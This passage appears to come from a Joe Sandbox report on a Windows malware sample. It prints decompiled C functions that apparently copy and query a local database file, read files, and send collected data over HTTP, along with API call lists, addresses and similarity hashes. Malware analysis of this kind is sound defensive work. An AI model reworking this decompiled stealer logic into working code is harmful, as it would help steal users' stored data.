LocalFree.KERNEL32(?), ref: 004133B8
LocalFree.KERNELBASE(00000000), ref: 004133BF

Strings

AYAYAYAY1337, xrefs: 00413276
/, xrefs: 004131F1

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Internet$lstrlen$AllocByteCharMultiWide$CloseFreeHandle$HttpOpenRequest$ConnectFileReadSend
String ID: /$AYAYAYAY1337
API String ID: 2455016256-3189836113
Opcode ID: 1aaf4ade0398a42353e58652a8e763e3b2cd6a7209beab922bbc5d9485e7d641
Instruction ID: 65668ecbc13c23dd696bb996b81b69509917136436aaf05bb913d97a798daedc
Opcode Fuzzy Hash: 1aaf4ade0398a42353e58652a8e763e3b2cd6a7209beab922bbc5d9485e7d641
Instruction Fuzzy Hash: 81615171700209BFEB215FA09C48EBB7ABCEF04706F504466FA15E6194DB788E858B78

Uniqueness

Uniqueness Score: -1.00%

Function 00413ADA Relevance: 45.2, APIs: 28, Strings: 2, Instructions: 203
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413ADA(WCHAR* __ecx, WCHAR* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				WCHAR* _v24;
				void* _t44;
				void* _t48;
				void* _t51;
				void* _t54;
				signed int _t55;
				void* _t56;
				signed int _t61;
				signed int _t68;
				signed int _t70;
				signed int _t78;
				WCHAR* _t83;
				WCHAR* _t85;
				void* _t86;
				void* _t89;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				signed int _t98;
				void* _t113;
				WCHAR* _t122;
				WCHAR* _t124;
				void* _t126;
				WCHAR* _t127;

				_t127 = __ecx;
				_v24 = __edx;
				_t44 = LocalAlloc(0x40, lstrlenW(__ecx) + _t42); // executed
				_t126 = _t44;
				while(lstrlenW(_t127) != 0x26) {
					_t48 = LocalAlloc(0x40, lstrlenW(_t127) + _t46); // executed
					_v8 = _t48;
					_t51 = LocalAlloc(0x40, lstrlenW(_t127) + _t49); // executed
					_v12 = _t51;
					_t54 = LocalAlloc(0x40, lstrlenW(_t127) + _t52); // executed
					_v16 = _t54;
					_t55 = StrStrW(_t127,  *0x4231fc);
					_t92 = 0;
					__eflags = _t55;
					if(_t55 == 0) {
						L3:
						_t5 =  &_v8; // 0x40e230
						_t56 = E00419B4E(_t127, _t5, 0, _t92); // executed
						__eflags = _t56 - 1;
						if(_t56 != 1) {
							L15:
							__eflags = _v8;
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							__eflags = _v12;
							if(_v12 != 0) {
								LocalFree(_v12);
							}
							__eflags = _v16;
							if(_v16 != 0) {
								LocalFree(_v16); // executed
							}
							_t29 =  &((StrStrW(_t127,  *0x423250))[1]); // 0x2
							_t127 = _t29;
							continue;
						}
						_t61 = StrStrW(_t127,  *0x423250);
						_v20 = _t61;
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = _t126;
							if(_t126 != 0) {
								LocalFree(_t126);
							}
							__eflags = _v8;
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							__eflags = _v12;
							if(_v12 != 0) {
								LocalFree(_v12);
							}
							__eflags = _v16;
							if(_v16 == 0) {
								L26:
								return 1;
							} else {
								LocalFree(_v16);
								L25:
								goto L26;
							}
						}
						_t7 =  &_v8; // 0x40e230
						_t68 = lstrcmpiW( *_t7,  *0x4234cc);
						__eflags = _t68;
						if(_t68 != 0) {
							goto L15;
						}
						_t127 =  &(( &(_t127[_t92]))[1]);
						_t70 = _v20 - _t127;
						__eflags = _t70;
						_v20 = _t70 >> 1;
						if(_t70 == 0) {
							L28:
							__eflags = _t126;
							if(_t126 != 0) {
								LocalFree(_t126);
							}
							__eflags = _v8;
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							__eflags = _v12;
							if(_v12 != 0) {
								LocalFree(_v12);
							}
							__eflags = _v16;
							if(_v16 != 0) {
								LocalFree(_v16);
							}
							return 0;
						}
						_t93 = StrStrW(_t127,  *0x423200);
						__eflags = _t93;
						if(_t93 == 0) {
							goto L28;
						}
						_t94 = _t93 - _t127;
						__eflags = _t94;
						_t95 = _t94 >> 1;
						if(_t94 == 0) {
							goto L28;
						}
						_t78 = E00419B4E(_t127,  &_v12, 0, _t95);
						__eflags = _t78;
						if(_t78 != 0) {
							_t15 = _t95 + 1; // 0x1
							__eflags = E00419B4E(_t127,  &_v16, _t15, _v20);
							if(__eflags != 0) {
								_t83 = E0041AD76(LocalAlloc(0x40, 0x208), _v24, __eflags);
								_t122 =  *0x423290; // 0x513bb58
								_t85 = E0041AD76(E0041AD76(_t83, _t122, __eflags), _v12, __eflags);
								_t124 =  *0x423330; // 0x513dec0
								_t86 = E0041AD76(_t85, _t124, __eflags);
								_t113 =  *0x423430; // 0x513a728
								_t96 = _t86;
								_v20 = _t113;
								_v20 = E00413A99( &_v20, __eflags);
								E0041393E(_v16, _t87, _t96); // executed
								_t89 = _v20;
								__eflags = _t89;
								if(_t89 != 0) {
									LocalFree(_t89);
								}
								__eflags = _t96;
								if(_t96 != 0) {
									LocalFree(_t96);
								}
							}
						}
						goto L15;
					}
					_t98 = _t55 - _t127;
					__eflags = _t98;
					_t92 = _t98 >> 1;
					if(_t98 < 0) {
						goto L28;
					}
					goto L3;
				}
				if(_t126 == 0) {
					goto L26;
				}
				LocalFree(_t126);
				goto L25;
			}

0x00413ae3
0x00413ae5
0x00413af4
0x00413afa
0x00413cbf
0x00413b0d
0x00413b14
0x00413b22
0x00413b29
0x00413b37
0x00413b43
0x00413b47
0x00413b4d
0x00413b4f
0x00413b51
0x00413b5f
0x00413b62
0x00413b67
0x00413b6e
0x00413b71
0x00413c82
0x00413c82
0x00413c86
0x00413c8b
0x00413c8b
0x00413c91
0x00413c95
0x00413c9a
0x00413c9a
0x00413ca0
0x00413ca4
0x00413ca9
0x00413ca9
0x00413cbc
0x00413cbc
0x00000000
0x00413cbc
0x00413b7e
0x00413b84
0x00413b87
0x00413b89
0x00413d1e
0x00413d20
0x00413d23
0x00413d23
0x00413d29
0x00413d2d
0x00413d32
0x00413d32
0x00413d38
0x00413d3c
0x00413d41
0x00413d41
0x00413d47
0x00413d4b
0x00413cda
0x00000000
0x00413d4d
0x00413cd4
0x00413cd4
0x00000000
0x00413cd4
0x00413d4b
0x00413b95
0x00413b98
0x00413b9e
0x00413ba0
0x00000000
0x00000000
0x00413bac
0x00413baf
0x00413baf
0x00413bb3
0x00413bb6
0x00413ce2
0x00413ce2
0x00413ce4
0x00413ce7
0x00413ce7
0x00413ced
0x00413cf1
0x00413cf6
0x00413cf6
0x00413cfc
0x00413d00
0x00413d05
0x00413d05
0x00413d0b
0x00413d0f
0x00413d14
0x00413d14
0x00000000
0x00413d1a
0x00413bc9
0x00413bcb
0x00413bcd
0x00000000
0x00000000
0x00413bd3
0x00413bd3
0x00413bd5
0x00413bd7
0x00000000
0x00000000
0x00413be5
0x00413bec
0x00413bee
0x00413bfb
0x00413c08
0x00413c0a
0x00413c1e
0x00413c23
0x00413c35
0x00413c3a
0x00413c42
0x00413c47
0x00413c4d
0x00413c4f
0x00413c60
0x00413c63
0x00413c68
0x00413c6c
0x00413c6e
0x00413c71
0x00413c71
0x00413c77
0x00413c79
0x00413c7c
0x00413c7c
0x00413c79
0x00413c0a
0x00000000
0x00413bee
0x00413b55
0x00413b55
0x00413b57
0x00413b59
0x00000000
0x00000000
0x00000000
0x00413b59
0x00413cd1
0x00000000
0x00000000
0x00413cd4
0x00000000

APIs

lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,0040E230), ref: 00413AE9
LocalAlloc.KERNELBASE(00000040,00000000,?,?,?,?,0040E230), ref: 00413AF4
lstrlenW.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413B02
LocalAlloc.KERNELBASE(00000040,00000000,?,?,?,?,0040E230), ref: 00413B0D
lstrlenW.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413B17
LocalAlloc.KERNELBASE(00000040,00000000,?,?,?,?,0040E230), ref: 00413B22
lstrlenW.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413B2C
LocalAlloc.KERNELBASE(00000040,00000000,?,?,?,?,0040E230), ref: 00413B37
StrStrW.SHLWAPI(00000000,?,?,?,?,0040E230), ref: 00413B47
StrStrW.SHLWAPI(00000000,?,?,?,?,0040E230), ref: 00413B7E
lstrcmpiW.KERNEL32(0@,?,?,?,?,0040E230), ref: 00413B98
StrStrW.SHLWAPI(-00000002,?,?,?,?,0040E230), ref: 00413BC3
LocalAlloc.KERNEL32(00000040,00000208,?,?,?,?,0040E230), ref: 00413C13
lstrlenW.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413CC0
LocalFree.KERNELBASE(00000000), ref: 00413CD4
LocalFree.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413CE7
LocalFree.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413CF6
LocalFree.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413D05
LocalFree.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413D14
LocalFree.KERNEL32(00000000,?,?,?,?,0040E230), ref: 00413D23
LocalFree.KERNEL32(00000000), ref: 00413D32
LocalFree.KERNEL32(00000000), ref: 00413D41

Strings

0@, xrefs: 00413D2F, 00413C88
0@, xrefs: 00413B62, 00413B95

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Free$Alloclstrlen$lstrcmpi
String ID: 0@$0@
API String ID: 2963033664-1100256207
Opcode ID: 868e579e079e99334cecbc7c77e7e7e26530202311a0223bb69429e236f3e975
Instruction ID: 38a877a236af177a3040303c9c5db41cc2dc3e39f7c0516f3b002c8d3849fc85
Opcode Fuzzy Hash: 868e579e079e99334cecbc7c77e7e7e26530202311a0223bb69429e236f3e975
Instruction Fuzzy Hash: 4F714231B00205ABDB115FA4DD49AEEBB76FF04707F504469E501A22A4EB7C9F85CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 004152A6 Relevance: 43.7, APIs: 29, Instructions: 244
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004152A6(WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				WCHAR* _v32;
				void* _v36;
				char _v60;
				signed int _t52;
				signed int _t53;
				signed int _t57;
				signed int _t62;
				signed int _t69;
				WCHAR* _t91;
				int _t92;
				void* _t98;
				WCHAR* _t99;
				WCHAR* _t101;
				void* _t102;
				int _t106;
				signed int _t111;
				void* _t117;
				void* _t130;
				WCHAR* _t133;
				void* _t140;
				signed int _t143;
				WCHAR* _t144;
				void* _t148;
				signed int _t150;
				signed int _t151;
				WCHAR* _t152;
				signed int _t156;
				WCHAR* _t158;
				void* _t161;

				_t143 = 0;
				_t52 = StrStrW(_a4,  *0x423514);
				_t151 = _t52;
				if(_t151 != 0) {
					_t152 = _t151 + 0x10;
					_t53 = StrStrW(_t152,  *0x423200);
					__eflags = _t53;
					if(_t53 == 0) {
						L5:
						_v16 = LocalAlloc(0x40, lstrlenW(_t152) + _t54);
						_t57 = E00419B4E(_t152,  &_v16, 0, _t143);
						__eflags = _t57;
						if(_t57 != 0) {
							_t144 =  &(( &(_t152[1]))[_t143]);
							_v8 = LocalAlloc(0x40, lstrlenW(_t144) + _t58);
							_t156 = StrStrW(_t144,  *0x42322c) - _t144 >> 1;
							_t62 = E00419B4E(_t144,  &_v8, 0, _t156);
							__eflags = _t62;
							if(_t62 != 0) {
								_t158 =  &(_t144[_t156 + 1]);
								_v12 = LocalAlloc(0x40, lstrlenW(_t158) + _t63);
								_t69 = E00419B4E(_t158,  &_v12, 0, StrStrW(_t158,  *0x42322c) - _t158 >> 1); // executed
								_pop(_t130);
								__eflags = _t69;
								if(__eflags != 0) {
									_a4 = StrCpyW(LocalAlloc(0x40, 0x5000), _v8);
									E00414A5F(__eflags,  &_a4);
									E00414B8C( &_a4); // executed
									E00414AD2(_t130,  &_a4); // executed
									E00414C49( &_a4);
									E00414CB1( &_v12,  &_a4); // executed
									E00414E02( &_a4); // executed
									E00414BF5(__eflags,  &_a4);
									E00414E6E( &_a4);
									E00414F3C(__eflags,  &_a4, _v12); // executed
									_v36 = _v16;
									_t91 = _a4;
									_v32 = _t91;
									_v28 = 0;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t92 = lstrlenW(_t91);
									__eflags = _t92 - 0x40;
									if(_t92 > 0x40) {
										_t98 = LocalAlloc(0x40, 0x208);
										_t99 = LocalAlloc(0x40, 0x208);
										_t140 = 0x10;
										_v24 = E00416B1A(_t98, _t140);
										_t101 = StrCpyW(_t99,  *0x423230);
										_t148 = _v24;
										_t102 = E0041AD76(_t101, _t148, __eflags);
										_t133 =  *0x423224; // 0x513bc38
										_v28 = _v28 & 0x00000000;
										_v32 = _t133;
										_v24 = _t102;
										_v20 = E00413A99( &_v24, __eflags);
										_t161 = LocalAlloc(0x40, 0x184);
										_t106 = WideCharToMultiByte(0xfde9, 0, _t148, 0xffffffff, 0, 0, 0, 0);
										__eflags = _t106;
										if(_t106 != 0) {
											_t111 = WideCharToMultiByte(0xfde9, 0, _t148, 0xffffffff, _t161, _t106, 0, 0);
											__eflags = _t111;
											if(_t111 != 0) {
												E004133D0(_a8, _t161, 1,  &_v60, 0, 0, _v20,  &_v32); // executed
											}
										}
										LocalFree(_t161);
										LocalFree(_v20);
										LocalFree(_v24);
										LocalFree(_t148);
									}
									LocalFree(_a4); // executed
									LocalFree(_v8);
									LocalFree(_v12); // executed
									L19:
									LocalFree(_v16); // executed
									return 1;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								L9:
								_push(0xfffffffc);
								L10:
								_pop(1);
								goto L19;
							}
							LocalFree(_v8);
							goto L9;
						}
						_push(0xfffffffd);
						goto L10;
					}
					_t150 = _t53 - _t152;
					__eflags = _t150;
					_t143 = _t150 >> 1;
					if(_t150 >= 0) {
						goto L5;
					}
					_t117 = 0xfffffffe;
					return _t117;
				}
				return _t52 | 0xffffffff;
			}

0x004152ba
0x004152bc
0x004152c2
0x004152c6
0x004152d6
0x004152da
0x004152e0
0x004152e2
0x004152f4
0x0041530b
0x00415310
0x00415317
0x00415319
0x00415322
0x0041533d
0x00415350
0x00415354
0x0041535b
0x0041535d
0x00415371
0x0041538c
0x004153a1
0x004153a7
0x004153a8
0x004153aa
0x004153d1
0x004153d8
0x004153e1
0x004153ea
0x004153f3
0x004153fc
0x00415405
0x0041540e
0x00415417
0x00415423
0x0041542e
0x00415434
0x00415437
0x0041543a
0x0041543d
0x0041543f
0x00415440
0x00415441
0x0041544a
0x0041544d
0x0041545b
0x00415466
0x0041546e
0x0041547e
0x00415482
0x00415488
0x0041548f
0x00415494
0x0041549a
0x0041549e
0x004154a4
0x004154b3
0x004154bc
0x004154cd
0x004154d3
0x004154d5
0x004154e6
0x004154ec
0x004154ee
0x00415505
0x0041550a
0x004154ee
0x0041550e
0x00415517
0x00415520
0x00415527
0x00415527
0x00415530
0x00415539
0x00415542
0x00415548
0x0041554b
0x00000000
0x00415551
0x004153af
0x00415362
0x00415362
0x00415368
0x0041536a
0x0041536a
0x00000000
0x0041536a
0x00415362
0x00000000
0x00415362
0x0041531b
0x00000000
0x0041531b
0x004152e6
0x004152e6
0x004152e8
0x004152ea
0x00000000
0x00000000
0x004152ee
0x00000000
0x004152ee
0x00000000

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004101AD), ref: 004152BC
StrStrW.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,?,?,004101AD,00000000,00000000), ref: 004152DA

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3113116c22b1e06b5c2097cd936c1224eaab5d79408984a1cf2e027ceab39b7
Instruction ID: 2746eb56cc53955d9937ed14e31e86e274d37eca1e033e00895eecd7a58a5331
Opcode Fuzzy Hash: c3113116c22b1e06b5c2097cd936c1224eaab5d79408984a1cf2e027ceab39b7
Instruction Fuzzy Hash: 7E819272A00205FFDB119FA0DC09DEE7B79EF44756F500526FA05E7190DB389B428BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040206D Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 136
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040206D(WCHAR* __ecx, void* __edx, WCHAR** _a4, WCHAR** _a8, WCHAR** _a12, void* _a16) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _v28;
				void* _t36;
				long _t37;
				void* _t38;
				int _t42;
				long _t48;
				void* _t49;
				void* _t51;
				void* _t57;
				void* _t59;
				struct _OVERLAPPED* _t64;
				WCHAR* _t66;
				void* _t70;
				intOrPtr _t76;
				intOrPtr _t77;
				WCHAR* _t78;
				void* _t79;
				void* _t80;
				WCHAR* _t81;
				WCHAR** _t82;
				void* _t83;
				WCHAR** _t84;
				WCHAR** _t85;

				_t66 = __ecx;
				_t64 = 0;
				_v12 = __edx;
				_t78 = __ecx;
				_v16 = 0;
				_t81 = LocalAlloc(0x40, 0x208);
				_v28 = _t81;
				_v8 = LocalAlloc(0x40, 0x208);
				if(_a16 != 0) {
					_push(_t78);
				} else {
					PathCombineW(_t81, _t78, _v12);
					_push(_t81);
				}
				_t82 = _a4;
				 *_t82 = StrCpyW( *_t82);
				_t83 = _v8;
				PathCombineW(_t83, _t78,  *0x42321c);
				_t36 = CreateFileW(_t83, 0x80000000, 1, _t64, 3, _t64, _t64); // executed
				_v12 = _t36;
				_t37 = GetFileSize(_t36, _t64);
				_a16 = _t37;
				_t38 = LocalAlloc(0x40, _t37); // executed
				_t79 = _t38;
				_t12 =  &_a16; // 0x402341
				_v24 = _t79;
				_t42 = ReadFile(_v12, _t79,  *_t12 - 1,  &_v16, _t64); // executed
				if(_t42 != 0) {
					_t15 =  &_a16; // 0x402341
					_t48 =  *_t15 +  *_t15;
					_v20 = _t48;
					_t49 = LocalAlloc(0x40, _t48); // executed
					_a16 = _t49;
					_t18 =  &_a16; // 0x402341
					_t51 = E0041A6A3(_t79);
					_t76 =  *0x423204; // 0x5133300
					E004170CD(_t51, _t76, _t66, _t18); // executed
					_pop(_t70);
					_t19 =  &_a16; // 0x402341
					if(lstrlenW( *_t19) > 0) {
						_t84 = _a8;
						_t21 =  &_a16; // 0x402341
						 *_t84 = StrCpyW( *_t84,  *_t21); // executed
						LocalFree(_a16); // executed
						_t57 = LocalAlloc(0x40, _v20); // executed
						_a16 = _t57;
						_t59 = E0041A6A3(_t79);
						_t77 =  *0x423220; // 0x513ad40
						E004170CD(_t59, _t77, _t70,  &_a16); // executed
						_t80 = _a16;
						if(_t80 != 0) {
							_t85 = _a12;
							 *_t85 = StrCpyW( *_t85, _t80); // executed
							LocalFree(_t80); // executed
						}
						_t79 = _v24;
						_t83 = _v8;
						_t64 = 1;
					}
					FindCloseChangeNotification(_v12); // executed
				}
				LocalFree(_t83);
				LocalFree(_v28);
				LocalFree(_t79); // executed
				return _t64;
			}

0x0040206d
0x0040207b
0x0040207d
0x00402082
0x00402084
0x00402092
0x00402096
0x0040209f
0x004020a5
0x004020b5
0x004020a7
0x004020ac
0x004020b2
0x004020b2
0x004020b6
0x004020c1
0x004020c9
0x004020ce
0x004020e1
0x004020e9
0x004020ec
0x004020f5
0x004020f8
0x004020fe
0x00402105
0x00402109
0x00402111
0x00402119
0x0040211f
0x00402122
0x00402127
0x0040212a
0x00402130
0x00402133
0x0040213a
0x0040213f
0x00402147
0x0040214d
0x0040214e
0x00402159
0x0040215b
0x0040215e
0x0040216c
0x0040216e
0x00402179
0x0040217f
0x00402189
0x0040218e
0x00402196
0x0040219b
0x004021a2
0x004021a4
0x004021b1
0x004021b3
0x004021b3
0x004021b9
0x004021be
0x004021c1
0x004021c1
0x004021c5
0x004021c5
0x004021cc
0x004021d5
0x004021dc
0x004021e8

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000,?,00402341,?,?,?,00000000), ref: 00402087
LocalAlloc.KERNEL32(00000040,00000208,?,00402341,?,?,?,00000000), ref: 00402099
PathCombineW.SHLWAPI(00000000,00000000,?,?,00402341,?,?,?,00000000), ref: 004020AC
StrCpyW.SHLWAPI(?,00000000), ref: 004020BB
PathCombineW.SHLWAPI(00000000,00000000,?,00402341,?,?,?,00000000), ref: 004020CE
CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00402341,?,?,?,00000000), ref: 004020E1
GetFileSize.KERNEL32(00000000,00000000,?,00402341,?,?,?,00000000), ref: 004020EC
LocalAlloc.KERNELBASE(00000040,00000000,?,00402341,?,?,?,00000000), ref: 004020F8
ReadFile.KERNELBASE(?,00000000,A#@,?,00000000,?,00402341,?,?,?,00000000), ref: 00402111
LocalAlloc.KERNELBASE(00000040,A#@,?,00402341,?,?,?,00000000), ref: 0040212A
lstrlenW.KERNEL32(A#@,?,00402341,?,?,?,00000000), ref: 00402151
StrCpyW.SHLWAPI(?,?), ref: 00402163
LocalFree.KERNELBASE(?,?,00402341,?,?,?,00000000), ref: 0040216E
LocalAlloc.KERNELBASE(00000040,?,?,00402341,?,?,?,00000000), ref: 00402179
StrCpyW.SHLWAPI(?,?), ref: 004021AA
LocalFree.KERNELBASE(?,?,00402341,?,?,?,00000000), ref: 004021B3
FindCloseChangeNotification.KERNELBASE(?,?,00402341,?,?,?,00000000), ref: 004021C5
LocalFree.KERNEL32(00000000,?,00402341,?,?,?,00000000), ref: 004021CC
LocalFree.KERNEL32(?,?,00402341,?,?,?,00000000), ref: 004021D5
LocalFree.KERNELBASE(00000000,?,00402341,?,?,?,00000000), ref: 004021DC

Strings

A#@, xrefs: 00402105, 0040211F, 00402133, 0040214E, 0040215E, 0040210C, 00402124, 00402136

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFree$File$CombinePath$ChangeCloseCreateFindNotificationReadSizelstrlen
String ID: A#@
API String ID: 3242145586-1181485076
Opcode ID: aef241848693b87fbb01f0f914a202b99bf94771e73000f6c4fa268d47e95a09
Instruction ID: 21dbe7d4da7ac574123658ca2c0a1f44ca6c74db3418fd4a32088fa286f3e670
Opcode Fuzzy Hash: aef241848693b87fbb01f0f914a202b99bf94771e73000f6c4fa268d47e95a09
Instruction Fuzzy Hash: 7A416F75600204FFDB219FA0ED489AF7BB9FF48702F500469FA01A3290C7798E52CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403B10 Relevance: 28.7, APIs: 19, Instructions: 184
libraryloaderfileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00403B10(intOrPtr* __ecx, WCHAR* _a4, struct HINSTANCE__* _a8) {
				WCHAR* _v8;
				signed int _v12;
				WCHAR* _v16;
				WCHAR* _v20;
				WCHAR* _t31;
				void* _t43;
				int _t47;
				void* _t49;
				signed int _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				WCHAR* _t55;
				WCHAR* _t56;
				WCHAR* _t58;
				intOrPtr _t59;
				WCHAR* _t61;
				WCHAR* _t62;
				intOrPtr* _t70;
				WCHAR* _t87;
				WCHAR* _t89;
				WCHAR* _t90;
				signed int _t92;
				struct HINSTANCE__* _t93;
				WCHAR* _t94;
				void* _t98;
				void* _t99;

				_t70 = __ecx;
				_t31 = LocalAlloc(0x40, 0x228);
				_t93 = _a8;
				_t92 = 1;
				_v16 = _t31;
				_t100 = _t93;
				if(_t93 == 0) {
					L19:
					_t94 = _v16;
					L20:
					LocalFree(_t94);
					return _t92;
				}
				_v16 = PathCombineW(_t31, _a4,  *0x4231b4);
				 *0x4235d8 = GetProcAddress(_t93,  *0x4231bc);
				 *0x4235cc = GetProcAddress(_t93,  *0x423210);
				 *0x4235c8 = GetProcAddress(_t93,  *0x423228);
				 *0x4235d0 = GetProcAddress(_t93,  *0x42325c);
				 *0x4235c0 = GetProcAddress(_t93,  *0x4231e0);
				 *0x4235bc = GetProcAddress(_t93,  *0x4231b8);
				 *0x4235c4 = GetProcAddress(_t93,  *0x423248);
				 *0x4235d4 = GetProcAddress(_t93,  *0x4231a8);
				_t43 = LocalAlloc(0x40, 0x208);
				_t94 = _v16;
				_v8 = _t43;
				if(E0041C37E(_t94,  &_v8, _t100) == 0) {
					L21:
					_t92 = _t92 | 0xffffffff;
					__eflags = _t92;
					L22:
					DeleteFileW(_v8);
					LocalFree(_v8);
					goto L20;
				}
				_t47 = CopyFileW(_t94, _v8, 0); // executed
				if(_t47 == 0) {
					goto L21;
				}
				_t49 =  *0x4235cc(_v8,  &_v12); // executed
				if(_t49 == 0) {
					__eflags = _v12;
					if(_v12 != 0) {
						_t51 =  *0x4235d8(_v12,  *0x4231ec, 0xffffffff,  &_a8, 0); // executed
						_t99 = _t98 + 0x14;
						_push(_a8);
						__eflags = _t51;
						if(_t51 == 0) {
							while(1) {
								_t52 =  *0x4235d0();
								__eflags = _t52 - 0x64;
								if(_t52 != 0x64) {
									break;
								}
								_t53 =  *0x4235c4(_a8, 0);
								_t54 =  *0x4235c4(_a8, _t92);
								_t99 = _t99 + 0x10;
								__eflags = _t53 - _t92;
								if(_t53 >= _t92) {
									__eflags = _t54 - _t92;
									if(_t54 >= _t92) {
										_t55 =  *0x4235bc(_a8, 0);
										_t96 = _t55;
										_t56 =  *0x4235bc(_a8, _t92);
										_t99 = _t99 + 0x10;
										_v20 = _t56;
										__eflags = lstrlenW(_t55) - _t92;
										if(__eflags > 0) {
											_t58 = E0041AD76( *_t70, _t96, __eflags);
											_t87 =  *0x423250; // 0x513b918
											 *_t70 = _t58;
											_t59 = E0041AD76(_t58, _t87, __eflags);
											_t97 = _v20;
											 *_t70 = _t59;
											__eflags = lstrlenW(_v20) - _t92;
											if(__eflags > 0) {
												_t61 = E0041AD76( *_t70, _t97, __eflags);
												_t89 =  *0x423250; // 0x513b918
												 *_t70 = _t61;
												_t62 = E0041AD76(_t61, _t89, __eflags);
												_t90 =  *0x423250; // 0x513b918
												 *_t70 = _t62;
												 *_t70 = E0041AD76(_t62, _t90, __eflags);
											}
										}
									}
								}
								_push(_a8);
							}
							 *0x4235c0(_a8);
							 *0x4235c8(_v12); // executed
							DeleteFileW(_v8); // executed
							__eflags = _v8;
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							goto L19;
						} else {
							 *0x4235c0();
							 *0x4235c8(_v12);
							_push(0xfffffffc);
							goto L5;
						}
					} else {
						_push(0xfffffffd);
						goto L5;
					}
				} else {
					_push(0xfffffffe);
					L5:
					_pop(_t92);
					goto L22;
				}
			}

0x00403b20
0x00403b22
0x00403b28
0x00403b2d
0x00403b2e
0x00403b31
0x00403b33
0x00403d4e
0x00403d4e
0x00403d51
0x00403d52
0x00403d5e
0x00403d5e
0x00403b4f
0x00403b5f
0x00403b71
0x00403b83
0x00403b95
0x00403ba7
0x00403bb9
0x00403bcb
0x00403bde
0x00403be3
0x00403be9
0x00403bf1
0x00403bfb
0x00403d5f
0x00403d5f
0x00403d5f
0x00403d62
0x00403d65
0x00403d6e
0x00000000
0x00403d6e
0x00403c07
0x00403c0f
0x00000000
0x00000000
0x00403c1c
0x00403c26
0x00403c30
0x00403c34
0x00403c4b
0x00403c51
0x00403c54
0x00403c57
0x00403c59
0x00403d12
0x00403d12
0x00403d19
0x00403d1c
0x00000000
0x00000000
0x00403c79
0x00403c85
0x00403c8b
0x00403c8e
0x00403c90
0x00403c92
0x00403c94
